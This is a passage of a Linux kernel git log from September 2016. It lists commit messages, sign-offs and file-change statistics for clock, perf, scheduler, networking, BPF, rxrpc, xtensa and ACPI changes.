a new macro to declare muxes based on a table and a gate. Signed-off-by: Maxime Ripard Acked-by: Chen-Yu Tsai drivers/clk/sunxi-ng/ccu_mux.h | 26 +++++++++++++------------- 1 file changed, 13 insertions(+), 13 deletions(-) commit 87ba9e5962f3f6e9a9a44cc332d1ad222d1c0302 Author: Maxime Ripard Date: Tue Sep 6 12:29:04 2016 +0200 clk: sunxi-ng: div: Allow to set a maximum Some dividers might have a maximum value that is lower than the width of the register. Add a field to _ccu_div to handle those case properly. If the field is set to 0, the code will assume that the maximum value is the maximum one that can be used with the field register width. Otherwise, we'll use whatever value has been set. Signed-off-by: Maxime Ripard Acked-by: Chen-Yu Tsai drivers/clk/sunxi-ng/ccu_div.h | 24 ++++++++++++++++++++---- drivers/clk/sunxi-ng/ccu_mp.c | 23 +++++++++++++---------- drivers/clk/sunxi-ng/ccu_nkm.c | 4 ++-- drivers/clk/sunxi-ng/ccu_nkmp.c | 21 ++++++++++----------- drivers/clk/sunxi-ng/ccu_nm.c | 16 ++++++++++------ 5 files changed, 55 insertions(+), 33 deletions(-) commit e9c959a6d17cd4fddc766bc182dd98478101c00c Author: Maxime Ripard Date: Thu Sep 8 11:29:13 2016 +0200 clk: sunxi-ng: div: Add kerneldoc for the _ccu_div structure The internal _ccu_div structure is meant to be embedded into other structures to combine the various dividers and to form the clock classes support. Start to document those structures by using kerneldoc. Signed-off-by: Maxime Ripard drivers/clk/sunxi-ng/ccu_div.h | 14 ++++++++++++++ 1 file changed, 14 insertions(+) commit 6f91c601771c8ff158d4cea122ec0e5baf9c3756 Author: Maxime Ripard Date: Tue Aug 30 10:38:41 2016 +0200 clk: sunxi-ng: div: Add mux table macros Add some macros to ease the declaration of clocks that are using them. Signed-off-by: Maxime Ripard Acked-by: Chen-Yu Tsai drivers/clk/sunxi-ng/ccu_div.h | 28 +++++++++++++++++++++------- 1 file changed, 21 insertions(+), 7 deletions(-) commit cd34cd97b7b4336aa2c623c37daffab264c7c6ce Author: Kan Liang Date: Tue Aug 16 16:09:50 2016 -0400 perf/x86/intel/uncore: Add Skylake server uncore support This patch implements the uncore monitoring driver for Skylake server. The uncore subsystem in Skylake server is similar to previous server. There are some differences in config register encoding and pci device IDs. Besides, Skylake introduces many new boxes to reflect the MESH architecture changes. The control registers for IIO and UPI have been extended to 64 bit. This patch also introduces event_mask_ext to handle the high 32 bit mask. The CHA box number could vary for different machines. This patch gets the CHA box number by counting the CHA register space during initialization at runtime. Signed-off-by: Kan Liang Signed-off-by: Peter Zijlstra (Intel) Cc: Alexander Shishkin Cc: Arnaldo Carvalho de Melo Cc: Jiri Olsa Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Stephane Eranian Cc: Thomas Gleixner Cc: Vince Weaver Link: http://lkml.kernel.org/r/1471378190-17276-3-git-send-email-kan.liang@intel.com Signed-off-by: Ingo Molnar arch/x86/events/intel/uncore.c | 9 +- arch/x86/events/intel/uncore.h | 3 + arch/x86/events/intel/uncore_snbep.c | 589 +++++++++++++++++++++++++++++++++++ 3 files changed, 600 insertions(+), 1 deletion(-) commit 2668c6195685f4b6f281767d10b4f4f2e32c2305 Author: Harry Pan Date: Thu Sep 8 17:08:57 2016 +0800 perf/x86/rapl: Enable Apollo Lake RAPL support This patch enables RAPL counters (energy consumption counters) support for Intel Apollo Lake (Goldmont) processors (Model 92): RAPL of Goldmont, unlikes ESU increment of Silvermont/Airmont, it likes the Haswell microarchitecture in 1/2^ESU joules and supports power domains in PP0/PP1/PKG/RAM. ESU and power domains refer to Intel Software Developers' Manual, Vol. 3C, Order No. 325384, Table 35-12. Usage example: $ perf list $ perf stat -a -e power/energy-cores/,power/energy-pkg/ sleep 10 Signed-off-by: Harry Pan Signed-off-by: Peter Zijlstra (Intel) Cc: Alexander Shishkin Cc: Arnaldo Carvalho de Melo Cc: Jiri Olsa Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Stephane Eranian Cc: Thomas Gleixner Cc: Vince Weaver Cc: bp@alien8.de Cc: gs0622@gmail.com Cc: hpa@zytor.com Cc: srinivas.pandruvada@linux.intel.com Link: http://lkml.kernel.org/r/1473325738-730-1-git-send-email-harry.pan@intel.com Signed-off-by: Ingo Molnar arch/x86/events/intel/rapl.c | 2 ++ 1 file changed, 2 insertions(+) commit 5006921837b7c46d2352f850fd3e4d5370221081 Merge: 14520d6 8ef9b84 Author: Ingo Molnar Date: Sat Sep 10 11:17:54 2016 +0200 Merge branch 'perf/urgent' into perf/core, to pick up fixes Signed-off-by: Ingo Molnar commit b95202a3b6bb8715a716dbdb15cdb82bf622260b Author: Tommaso Cucinotta Date: Fri Sep 9 19:45:17 2016 +0200 sched/deadline: Document behavior of sched_yield() This is a documentation only patch, explaining the behavior of sched_yield() when a SCHED_DEADLINE task calls it (give up remaining runtime and be throttled until next period begins). Signed-off-by: Tommaso Cucinotta Signed-off-by: Peter Zijlstra (Intel) Reviewed-by: Juri Lelli Reviewed-by: Luca Abeni Reviewed-by: Daniel Bristot de Oliveira Cc: Juri Lelli Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: linux-dl@retis.sssup.it Link: http://lkml.kernel.org/r/1473443117-11794-2-git-send-email-tommaso.cucinotta@sssup.it Signed-off-by: Ingo Molnar Documentation/scheduler/sched-deadline.txt | 18 ++++++++++++++++++ 1 file changed, 18 insertions(+) commit de58af878d9146e5decc0cdd7acabaa82881cbe4 Author: Peter Zijlstra Date: Wed Sep 7 10:29:05 2016 +0200 Revert "sched/fair: Make update_min_vruntime() more readable" There's a bug in this commit: 97a7142f157a ("sched/fair: Make update_min_vruntime() more readable") ... when !rb_leftmost && curr we fail to advance min_vruntime. So revert it. Reported-by: Byungchul Park Signed-off-by: Peter Zijlstra (Intel) Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Signed-off-by: Ingo Molnar kernel/sched/fair.c | 11 +++++++---- 1 file changed, 7 insertions(+), 4 deletions(-) commit bc42f1d9f5b31060a3c6b83983925852f0acbe15 Author: Daniel Axtens Date: Tue Sep 6 15:32:39 2016 +1000 powerpc/cell: Drop unused iic_get_irq_host() Sparse checking revealed that it is no longer used. The last usage was removed in commit 2e194583125b ("[POWERPC] Cell interrupt rework") in 2006. Signed-off-by: Daniel Axtens Reviewed-by: Andrew Donnellan Acked-by: Arnd Bergmann Signed-off-by: Michael Ellerman arch/powerpc/platforms/cell/interrupt.c | 6 ------ 1 file changed, 6 deletions(-) commit e808bb6ed042020d3a15cb6e85ca646bc7c9eda8 Author: Markus Elfring Date: Fri Sep 9 20:40:16 2016 +0200 ATM-iphase: Use kmalloc_array() in tx_init() * Multiplications for the size determination of memory allocations indicated that array data structures should be processed. Thus use the corresponding function "kmalloc_array". This issue was detected by using the Coccinelle software. * Replace the specification of data types by pointer dereferences to make the corresponding size determination a bit safer according to the Linux coding style convention. Signed-off-by: Markus Elfring Signed-off-by: David S. Miller drivers/atm/iphase.c | 13 +++++++++---- 1 file changed, 9 insertions(+), 4 deletions(-) commit 171a6c523f6486236e3c12aa767d7f354eb543aa Merge: ba56947 0c58ee0 Author: David S. Miller Date: Fri Sep 9 20:51:22 2016 -0700 Merge branch 'alx-msix' Tobias Regnery says: ==================== alx: add msi-x support This patchset adds msi-x support to the alx driver. It is a preparatory series for multi queue support, which I am currently working on. As there is no advantage over msi interrupts without multi queue support, msi-x interrupts are disabled by default. In order to test for regressions, a new module parameter is added to enable msi-x interrupts. Based on information of the downstream driver at github.com/qca/alx ==================== Signed-off-by: David S. Miller commit 0c58ee0bfa28ad06dbc2b6305b1b950f7c392cdf Author: Tobias Regnery Date: Fri Sep 9 12:19:55 2016 +0200 alx: add module parameter to enable msi-x support msi-x support is default disabled in the alx driver. In order to test msi-x interrupts for regressions add a module parameter to the driver. Signed-off-by: Tobias Regnery Signed-off-by: David S. Miller drivers/net/ethernet/atheros/alx/main.c | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) commit dc39a78b3c6113dcad5e0f52e3b9deba7ad2fa3d Author: Tobias Regnery Date: Fri Sep 9 12:19:54 2016 +0200 alx: add msi-x support Add msi-x support to the alx driver. This is in preparation for multi queue support. msi-x interrupts are disabled by default because without multi queue support there is no advantage over msi interrupts. The performance numbers observed with iperf stay the same. Based on information of the downstream driver at github.com/qca/alx Signed-off-by: Tobias Regnery Signed-off-by: David S. Miller drivers/net/ethernet/atheros/alx/alx.h | 5 + drivers/net/ethernet/atheros/alx/hw.c | 14 +++ drivers/net/ethernet/atheros/alx/hw.h | 1 + drivers/net/ethernet/atheros/alx/main.c | 172 ++++++++++++++++++++++++++++++-- 4 files changed, 184 insertions(+), 8 deletions(-) commit a0373aef3ecf12d97a8332f953f0e16092f068b4 Author: Tobias Regnery Date: Fri Sep 9 12:19:53 2016 +0200 alx: factor out part of the interrupt handler Factor out the handling of misc interrupts into a new function. This function can be reused later for msi-x interrupts. Signed-off-by: Tobias Regnery Signed-off-by: David S. Miller drivers/net/ethernet/atheros/alx/main.c | 34 +++++++++++++++++++-------------- 1 file changed, 20 insertions(+), 14 deletions(-) commit 9ee7b683ea6313e9cd27bf9c4f70a3d360abe5df Author: Tobias Regnery Date: Fri Sep 9 12:19:52 2016 +0200 alx: refactor msi enablement and disablement Introduce a new flag field for the advanced interrupt capatibilities and add new functions to enable and disable msi interrupts. These functions will be extended later to cover msi-x interrupts. We enable msi interrupts earlier in alx_init_intr because with msi-x and multi queue support the number of queues must be set before we allocate resources for the rx and tx paths. Signed-off-by: Tobias Regnery Signed-off-by: David S. Miller drivers/net/ethernet/atheros/alx/alx.h | 5 ++++- drivers/net/ethernet/atheros/alx/main.c | 30 ++++++++++++++++++++++-------- 2 files changed, 26 insertions(+), 9 deletions(-) commit ba56947a33541fd8c2e2e6fafd0126a5f6faaf15 Author: Baoyou Xie Date: Fri Sep 9 09:21:15 2016 +0800 qed: mark symbols static where possible We get a few warnings when building kernel with W=1: drivers/net/ethernet/qlogic/qed/qed_l2.c:112:5: warning: no previous prototype for 'qed_sp_vport_start' [-Wmissing-prototypes] drivers/net/ethernet/qlogic/qed/qed_sriov.c:110:6: warning: no previous prototype for 'qed_iov_is_valid_vfid' [-Wmissing-prototypes] drivers/net/ethernet/qlogic/qed/qed_sriov.c:188:5: warning: no previous prototype for 'qed_iov_post_vf_bulletin' [-Wmissing-prototypes] drivers/net/ethernet/qlogic/qed/qed_sriov.c:578:6: warning: no previous prototype for 'qed_iov_set_vfs_to_disable' [-Wmissing-prototypes] drivers/net/ethernet/qlogic/qed/qed_sriov.c:1135:28: warning: no previous prototype for 'qed_iov_get_public_vf_info' [-Wmissing-prototypes] drivers/net/ethernet/qlogic/qed/qed_sriov.c:1148:6: warning: no previous prototype for 'qed_iov_clean_vf' [-Wmissing-prototypes] drivers/net/ethernet/qlogic/qed/qed_sriov.c:2444:5: warning: no previous prototype for 'qed_iov_chk_ucast' [-Wmissing-prototypes] drivers/net/ethernet/qlogic/qed/qed_sriov.c:2762:5: warning: no previous prototype for 'qed_iov_vf_flr_cleanup' [-Wmissing-prototypes] .... In fact, these functions are only used in the file in which they are declared and don't need a declaration, but can be made static. so this patch marks these functions with 'static'. Signed-off-by: Baoyou Xie Signed-off-by: David S. Miller drivers/net/ethernet/qlogic/qed/qed_dcbx.c | 10 ++++--- drivers/net/ethernet/qlogic/qed/qed_l2.c | 4 +-- drivers/net/ethernet/qlogic/qed/qed_sriov.c | 45 ++++++++++++++++------------- drivers/net/ethernet/qlogic/qed/qed_vf.c | 4 +-- 4 files changed, 35 insertions(+), 28 deletions(-) commit 349aa334a5954352f4841e5720619fa81cc3f774 Merge: bf8d85d f3694e0 Author: David S. Miller Date: Fri Sep 9 19:36:04 2016 -0700 Merge branch 'bpf-helper-cleanups' Daniel Borkmann says: ==================== Some BPF helper cleanups This series contains a couple of misc cleanups and improvements for BPF helpers. For details please see individual patches. We let this also sit for a few days with Fengguang's kbuild test robot, and there were no issues seen (besides one false positive, see last one for details). ==================== Signed-off-by: David S. Miller commit f3694e00123802d688180e7ae90b240669910e3c Author: Daniel Borkmann Date: Fri Sep 9 02:45:31 2016 +0200 bpf: add BPF_CALL_x macros for declaring helpers This work adds BPF_CALL_() macros and converts all the eBPF helper functions to use them, in a similar fashion like we do with SYSCALL_DEFINE() macros that are used today. Motivation for this is to hide all the register handling and all necessary casts from the user, so that it is done automatically in the background when adding a BPF_CALL_() call. This makes current helpers easier to review, eases to write future helpers, avoids getting the casting mess wrong, and allows for extending all helpers at once (f.e. build time checks, etc). It also helps detecting more easily in code reviews that unused registers are not instrumented in the code by accident, breaking compatibility with existing programs. BPF_CALL_() internals are quite similar to SYSCALL_DEFINE() ones with some fundamental differences, for example, for generating the actual helper function that carries all u64 regs, we need to fill unused regs, so that we always end up with 5 u64 regs as an argument. I reviewed several 0-5 generated BPF_CALL_() variants of the .i results and they look all as expected. No sparse issue spotted. We let this also sit for a few days with Fengguang's kbuild test robot, and there were no issues seen. On s390, it barked on the "uses dynamic stack allocation" notice, which is an old one from bpf_perf_event_output{,_tp}() reappearing here due to the conversion to the call wrapper, just telling that the perf raw record/frag sits on stack (gcc with s390's -mwarn-dynamicstack), but that's all. Did various runtime tests and they were fine as well. All eBPF helpers are now converted to use these macros, getting rid of a good chunk of all the raw castings. Signed-off-by: Daniel Borkmann Acked-by: Alexei Starovoitov Signed-off-by: David S. Miller include/linux/filter.h | 50 ++++++++++++++++++ kernel/bpf/core.c | 2 +- kernel/bpf/helpers.c | 46 +++++------------ kernel/bpf/stackmap.c | 5 +- kernel/trace/bpf_trace.c | 75 +++++++++++++-------------- net/core/filter.c | 129 ++++++++++++++++++----------------------------- 6 files changed, 149 insertions(+), 158 deletions(-) commit 374fb54eeaaa6b2cb82bca73a11273687bb2a96a Author: Daniel Borkmann Date: Fri Sep 9 02:45:30 2016 +0200 bpf: add own ctx rewriter on ifindex for clsact progs When fetching ifindex, we don't need to test dev for being NULL since we're always guaranteed to have a valid dev for clsact programs. Thus, avoid this test in fast path. Signed-off-by: Daniel Borkmann Acked-by: Alexei Starovoitov Signed-off-by: David S. Miller net/core/filter.c | 37 +++++++++++++++++++++++++++++++------ 1 file changed, 31 insertions(+), 6 deletions(-) commit f035a51536af9802f55d8c79bd87f184ebffb093 Author: Daniel Borkmann Date: Fri Sep 9 02:45:29 2016 +0200 bpf: add BPF_SIZEOF and BPF_FIELD_SIZEOF macros Add BPF_SIZEOF() and BPF_FIELD_SIZEOF() macros to improve the code a bit which otherwise often result in overly long bytes_to_bpf_size(sizeof()) and bytes_to_bpf_size(FIELD_SIZEOF()) lines. So place them into a macro helper instead. Moreover, we currently have a BUILD_BUG_ON(BPF_FIELD_SIZEOF()) check in convert_bpf_extensions(), but we should rather make that generic as well and add a BUILD_BUG_ON() test in all BPF_SIZEOF()/BPF_FIELD_SIZEOF() users to detect any rewriter size issues at compile time. Note, there are currently none, but we want to assert that it stays this way. Signed-off-by: Daniel Borkmann Acked-by: Alexei Starovoitov Signed-off-by: David S. Miller include/linux/filter.h | 14 ++++++++++++++ kernel/trace/bpf_trace.c | 12 ++++++------ net/core/filter.c | 15 +++++++-------- 3 files changed, 27 insertions(+), 14 deletions(-) commit 6088b5823b4cb132a838878747384cbfb5ce6646 Author: Daniel Borkmann Date: Fri Sep 9 02:45:28 2016 +0200 bpf: minor cleanups in helpers Some minor misc cleanups, f.e. use sizeof(__u32) instead of hardcoding and in __bpf_skb_max_len(), I missed that we always have skb->dev valid anyway, so we can drop the unneeded test for dev; also few more other misc bits addressed here. Signed-off-by: Daniel Borkmann Acked-by: Alexei Starovoitov Signed-off-by: David S. Miller kernel/bpf/helpers.c | 6 +++--- net/core/filter.c | 7 +++---- 2 files changed, 6 insertions(+), 7 deletions(-) commit bf8d85d4f907d2156e6e5d2831378527957d9bde Author: Eric Dumazet Date: Thu Sep 8 15:40:48 2016 -0700 ip_tunnel: do not clear l4 hashes If skb has a valid l4 hash, there is no point clearing hash and force a further flow dissection when a tunnel encapsulation is added. Signed-off-by: Eric Dumazet Signed-off-by: David S. Miller net/ipv4/ip_tunnel_core.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 2c4f414f0290e019d463f1f7f447807fd6a6470c Author: Markus Elfring Date: Thu Sep 8 15:43:37 2016 +0200 ATM-ForeRunnerHE: Use kmalloc_array() in he_init_group() * Multiplications for the size determination of memory allocations indicated that array data structures should be processed. Thus use the corresponding function "kmalloc_array". This issue was detected by using the Coccinelle software. * Replace the specification of data types by pointer dereferences to make the corresponding size determination a bit safer according to the Linux coding style convention. Signed-off-by: Markus Elfring Signed-off-by: David S. Miller drivers/atm/he.c | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) commit d9e6620c8ee108f068cd703b3b82d9a8d38c1ada Author: Markus Elfring Date: Thu Sep 8 14:20:17 2016 +0200 ATM-ENI: Use kmalloc_array() in eni_start() * A multiplication for the size determination of a memory allocation indicated that an array data structure should be processed. Thus use the corresponding function "kmalloc_array". This issue was detected by using the Coccinelle software. * Replace the specification of a data structure by a pointer dereference to make the corresponding size determination a bit safer according to the Linux coding style convention. Signed-off-by: Markus Elfring Signed-off-by: David S. Miller drivers/atm/eni.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit fa5f4aaf6e6b10f8208533721daaf24a083309a6 Merge: 46dfc23 248f219 Author: David S. Miller Date: Fri Sep 9 19:24:21 2016 -0700 Merge tag 'rxrpc-rewrite-20160908' of git://git.kernel.org/pub/scm/linux/kernel/git/dhowells/linux-fs David Howells says: ==================== rxrpc: Rewrite data and ack handling This patch set constitutes the main portion of the AF_RXRPC rewrite. It consists of five fix/helper patches: (1) Fix ASSERTCMP's and ASSERTIFCMP's handling of signed values. (2) Update some protocol definitions slightly. (3) Use of an hlist for RCU purposes. (4) Removal of per-call sk_buff accounting (not really needed when skbs aren't being queued on the main queue). (5) Addition of a tracepoint to log incoming packets in the data_ready callback and to log the end of the data_ready callback. And then there are two patches that form the main part: (6) Preallocation of resources for incoming calls so that in patch (7) the data_ready handler can be made to fully instantiate an incoming call and make it live. This extends through into AFS so that AFS can preallocate its own incoming call resources. The preallocation size is capped at the listen() backlog setting - and that is capped at a sysctl limit which can be set between 4 and 32. The preallocation is (re)charged either by accepting/rejecting pending calls or, in the case of AFS, manually. If insufficient preallocation resources exist, a BUSY packet will be transmitted. The advantage of using this preallocation is that once a call is set up in the data_ready handler, DATA packets can be queued on it immediately rather than the DATA packets being queued for a background work item to do all the allocation and then try and sort out the DATA packets whilst other DATA packets may still be coming in and going either to the background thread or the new call. (7) Rewrite the handling of DATA, ACK and ABORT packets. In the receive phase, DATA packets are now held in per-call circular buffers with deduplication, out of sequence detection and suchlike being done in data_ready. Since there is only one producer and only once consumer, no locks need be used on the receive queue. Received ACK and ABORT packets are now parsed and discarded in data_ready to recycle resources as fast as possible. sk_buffs are no longer pulled, trimmed or cloned, but rather the offset and size of the content is tracked. This particularly affects jumbo DATA packets which need insertion into the receive buffer in multiple places. Annotations are kept to track which bit is which. Packets are no longer queued on the socket receive queue; rather, calls are queued. Dummy packets to convey events therefore no longer need to be invented and metadata packets can be discarded as soon as parsed rather then being pushed onto the socket receive queue to indicate terminal events. The preallocation facility added in (6) is now used to set up incoming calls with very little locking required and no calls to the allocator in data_ready. Decryption and verification is now handled in recvmsg() rather than in a background thread. This allows for the future possibility of decrypting directly into the user buffer. With this patch, the code is a lot simpler and most of the mass of call event and state wangling code in call_event.c is gone. With this, the majority of the AF_RXRPC rewrite is complete. However, there are still things to be done, including: (*) Limit the number of active service calls to prevent an attacker from filling up a server's memory. (*) Limit the number of calls on the rebuff-with-BUSY queue. (*) Transmit delayed/deferred ACKs from recvmsg() if possible, rather than punting to the background thread. Ideally, the background thread shouldn't run at all, but data_ready can't call kernel_sendmsg() and we can't rely on recvmsg() attending to the call in a timely fashion. (*) Prevent the call at the front of the socket queue from hogging recvmsg()'s attention if there's a sufficiently continuous supply of data. (*) Distribute ICMP errors by connection rather than by call. Possibly parse the ICMP packet to try and pin down the exact connection and call. (*) Encrypt/decrypt directly between user buffers and socket buffers where possible. (*) IPv6. (*) Service ID upgrade. This is a facility whereby a special flag bit is set in the DATA packet header when making a call that tells the server that it is allowed to change the service ID to an upgraded one and reply with an equivalent call from the upgraded service. This is used, for example, to override certain AFS calls so that IPv6 addresses can be returned. (*) Allow userspace to preallocate call user IDs for incoming calls. ==================== Signed-off-by: David S. Miller commit 23c2b9321b30f947b4f908e40379eed50f48508c Author: Scott Telford Date: Thu Sep 8 16:41:24 2016 +0100 xtensa: Added Cadence CSP kernel configuration for Xtensa Added defconfig, device tree and Xtensa variant header files for the Cadence Configurable System Platform "xt_lnx" processor configuration. Signed-off-by: Scott Telford Signed-off-by: Max Filippov arch/xtensa/boot/dts/csp.dts | 54 ++ arch/xtensa/configs/cadence_csp_defconfig | 122 +++++ arch/xtensa/variants/csp/include/variant/core.h | 575 +++++++++++++++++++++ arch/xtensa/variants/csp/include/variant/tie-asm.h | 194 +++++++ arch/xtensa/variants/csp/include/variant/tie.h | 161 ++++++ 5 files changed, 1106 insertions(+) commit 73a3eed0a4800cbe9d99cc6447fed8309d7fcb97 Author: Max Filippov Date: Thu Aug 4 15:45:32 2016 +0300 xtensa: fix default kernel load address Make default kernel load address 0xd0003000 for MMUv2 cores and 0x60003000 for noMMU cores. Don't initialize MMU inside vmlinux for predefined MMUv2 cores (it's noop anyway). This fixes the following defconfig build error: arch/xtensa/kernel/built-in.o: In function `fast_alloca': (.text+0x99a): dangerous relocation: j: cannot encode: _WindowUnderflow12 arch/xtensa/kernel/built-in.o: In function `fast_alloca': (.text+0x99d): dangerous relocation: j: cannot encode: _WindowUnderflow8 arch/xtensa/kernel/built-in.o: In function `fast_alloca': (.text+0x9a0): dangerous relocation: j: cannot encode: _WindowUnderflow4 arch/xtensa/kernel/built-in.o: In function `window_overflow_restore_a0_fixup': (.text+0x23a3): dangerous relocation: j: cannot encode: (.DoubleExceptionVector.text+0x104) arch/xtensa/kernel/built-in.o: In function `window_overflow_restore_a0_fixup': (.text+0x23c1): dangerous relocation: j: cannot encode: (.DoubleExceptionVector.text+0x104) arch/xtensa/kernel/built-in.o: In function `window_overflow_restore_a0_fixup': (.text+0x23dd): dangerous relocation: j: cannot encode: (.DoubleExceptionVector.text+0x104) With this change all xtensa defconfigs build correctly. Reported-by: Guenter Roeck Signed-off-by: Max Filippov arch/xtensa/Kconfig | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) commit 46dfc23e9e0823616abee670cd24acde0d900ca9 Author: Colin Ian King Date: Thu Sep 8 10:04:24 2016 +0100 via-velocity: remove null pointer check on array tdinfo->skb_dma tdinfo->skb_dma is a 7 element array of dma_addr_t hence cannot be null, so the pull pointer check on tdinfo->skb_dma is redundant. Remove it. Signed-off-by: Colin Ian King Acked-by: Francois Romieu Signed-off-by: David S. Miller drivers/net/ethernet/via/via-velocity.c | 21 +++++++++------------ 1 file changed, 9 insertions(+), 12 deletions(-) commit 9438451e7325815fb38db04b1da0670ecc601b5e Author: Baoyou Xie Date: Thu Sep 8 16:43:23 2016 +0800 qede: mark qede_set_features() static We get 1 warning when building kernel with W=1: drivers/net/ethernet/qlogic/qede/qede_main.c:2113:5: warning: no previous prototype for 'qede_set_features' [-Wmissing-prototypes] In fact, this function is only used in the file in which it is declared and don't need a declaration, but can be made static. so this patch marks this function with 'static'. Signed-off-by: Baoyou Xie Acked-by: Yuval Mintz Signed-off-by: David S. Miller drivers/net/ethernet/qlogic/qede/qede_main.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 4ffd03f5e47d18e06543f585d71a5540e7e61f0e Author: Raju Lakkaraju Date: Thu Sep 8 14:09:31 2016 +0530 net: phy: Fixed checkpatch errors for Microsemi PHYs. The existing VSC85xx PHY driver did not follow the coding style and caused "checkpatch" to complain. This commit fixes this. Signed-off-by: Raju Lakkaraju Signed-off-by: David S. Miller drivers/net/phy/Kconfig | 6 +- drivers/net/phy/mscc.c | 178 ++++++++++++++++++++++++------------------------ 2 files changed, 92 insertions(+), 92 deletions(-) commit 05f1b12f71a49848730a0eb9acda032d5c43432b Author: Colin Ian King Date: Thu Sep 8 08:42:06 2016 +0100 net: x25: remove null checks on arrays calling_ae and called_ae dtefacs.calling_ae and called_ae are both 20 element __u8 arrays and cannot be null and hence are redundant checks. Remove these. Signed-off-by: Colin Ian King Signed-off-by: David S. Miller net/x25/af_x25.c | 4 ---- 1 file changed, 4 deletions(-) commit 10b68700add43d0c38fedefb7a2b7df931f8e84e Author: Lorenzo Pieralisi Date: Mon Sep 5 15:12:38 2016 +0100 ACPI / PCI: fix GIC irq model default PCI IRQ polarity On ACPI ARM based systems the GIC interrupt controller and corresponding interrupt model permit only the high polarity for level interrupts. ACPI firmware describes PCI legacy IRQs through entries in the _PRT objects. Entries in the _PRT can be of two types: - Static: not configurable, trigger/polarity default to level-low, _PRT entry defines the global GSI interrupt number - Configurable: _PRT interrupt entry contains a reference to the corresponding PCI interrupt link device (that in turn provides the interrupt descriptor through its _CRS/_PRS methods) Configurable IRQ entries are not currently allowed by the ACPI specification on ARM since they can only be used for interrupt pins that are routable, as per ACPI specifications (version 6.1, 6.2.13): "[...] There are two ways that _PRT can be used. Typically, the interrupt input that a given PCI interrupt is on is configurable. For example, a given PCI interrupt might be configured for either IRQ 10 or 11 on an 8259 interrupt controller. In this model, each interrupt is represented in the ACPI namespace as a PCI Interrupt Link Device. [...]" ARM platforms GIC configurations do not allow dynamic IRQ routing, since routing is statically laid out at synthesis time; therefore PCI interrupt links cannot be used for PCI legacy IRQ descriptions in the _PRT on ARM systems. On the other hand, current core ACPI code handling PCI legacy IRQs consider IRQ trigger/polarity for static _PRT entries as level-low. On ARM systems with a GIC interrupt controller and corresponding ACPI interrupt model this does not work in that GIC interrupt controller is only capable of handling level interrupts whose polarity is high (for PCI legacy IRQs - that are level-low by specification - this means that the legacy IRQs are inverted before reaching the interrupt controller pin), resulting in IRQ allocation failures such as: genirq: Setting trigger mode 8 for irq 18 failed (gic_set_type+0x0/0x48) Change the default polarity for PCI legacy IRQs to high on systems booting wth ACPI on platforms with a GIC interrupt controller model, fixing the discrepancy between specification and HW behaviour. Signed-off-by: Lorenzo Pieralisi Acked-by: Marc Zyngier Tested-by: Duc Dang Signed-off-by: Rafael J. Wysocki drivers/acpi/pci_irq.c | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) commit cb7d668fa4f9e9dcc772bd84f13f978a5e8791be Author: Bob Moore Date: Wed Sep 7 14:07:33 2016 +0800 ACPICA: Update version to 20160831 ACPICA commit 3c8c04c2e8a371018b3a29f5cfe27a241caea48d Version 20160831 Link: https://github.com/acpica/acpica/commit/3c8c04c2 Signed-off-by: Bob Moore Signed-off-by: Lv Zheng Signed-off-by: Rafael J. Wysocki include/acpi/acpixf.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit ac0f06ebb815dabe42f2b2886ee9f879a2170ce4 Author: Lv Zheng Date: Wed Sep 7 14:07:24 2016 +0800 ACPICA: Tables: Tune table mutex to be a leaf lock ACPICA commit f564d57c6501b97a2871f0b4c048e79910f71783 This patch tunes MTX_TABLES into a leaf lock by always ensuring it is released before holding other locks. This patch also collects all table loading related functions into acpi_tb_load_table() (invoked by load_table opcode) and acpi_tb_install_and_load_table() (invoked by Load opcode and acpi_load_table()) so that we can have lock tuning code collected at the boundary of these 2 functions. Lv Zheng. Link: https://github.com/acpica/acpica/commit/f564d57c Tested-by: Mika Westerberg Tested-by: Dutch Guy Signed-off-by: Lv Zheng Signed-off-by: Bob Moore Signed-off-by: Rafael J. Wysocki drivers/acpi/acpica/actables.h | 8 +++ drivers/acpi/acpica/exconfig.c | 105 +++++++------------------------ drivers/acpi/acpica/tbdata.c | 140 +++++++++++++++++++++++++++++++++++++++++ drivers/acpi/acpica/tbfind.c | 10 ++- drivers/acpi/acpica/tbxfload.c | 50 ++------------- 5 files changed, 182 insertions(+), 131 deletions(-) commit 441ad11d078f35093ceaf510742df423c2d89a3b Author: Lv Zheng Date: Wed Sep 7 14:07:16 2016 +0800 ACPICA: Dispatcher: Fix a mutex issue for method auto serialization ACPICA commit fd305eda14f1a1e684edef4fac53f194bf00ed3f This patch fixes an issue with acpi_ds_auto_serialized_method(). The parser will invoke acpi_ex_release_all_mutexes(), which in return cause mutexes held in ACPI_ERROR_METHOD() failed. Lv Zheng. Link: https://bugs.acpica.org/show_bug.cgi?id=1324 Link: https://github.com/acpica/acpica/commit/fd305eda Tested-by: Mika Westerberg Tested-by: Greg White Tested-by: Dutch Guy Signed-off-by: Lv Zheng Signed-off-by: Bob Moore Signed-off-by: Rafael J. Wysocki drivers/acpi/acpica/dsmethod.c | 10 ++++++++-- drivers/acpi/acpica/psparse.c | 2 ++ 2 files changed, 10 insertions(+), 2 deletions(-) commit 74f51b80a0c4ff84fbeb7f12ea43ce66934d29aa Author: Lv Zheng Date: Wed Sep 7 14:07:10 2016 +0800 ACPICA: Namespace: Fix dynamic table loading issues ACPICA commit 767ee53354e0c4b7e8e7c57c6dd7bf569f0d52bb There are issues related to the namespace/interpreter locks, which causes several ACPI functionalities not specification compliant. The lock issues were detectec when we were trying to fix the functionalities (please see Link # [1] for the details). What's the lock issues? Let's first look into the namespace/interpreter lock usages inside of the object evaluation and the table loading which are the key AML interpretion code paths: Table loading: acpi_ns_load_table L(Namespace) acpi_ns_parse_table acpi_ns_one_complete_parse(LOAD_PASS1/LOAD_PASS2) acpi_ds_load1_begion_op acpi_ds_load1_end_op acpi_ds_load2_begion_op acpi_ds_load2_end_op U(Namespace) Object evaluation: acpi_ns_evaluate L(Interpreter) acpi_ps_execute_method acpi_ds_exec_begin_op 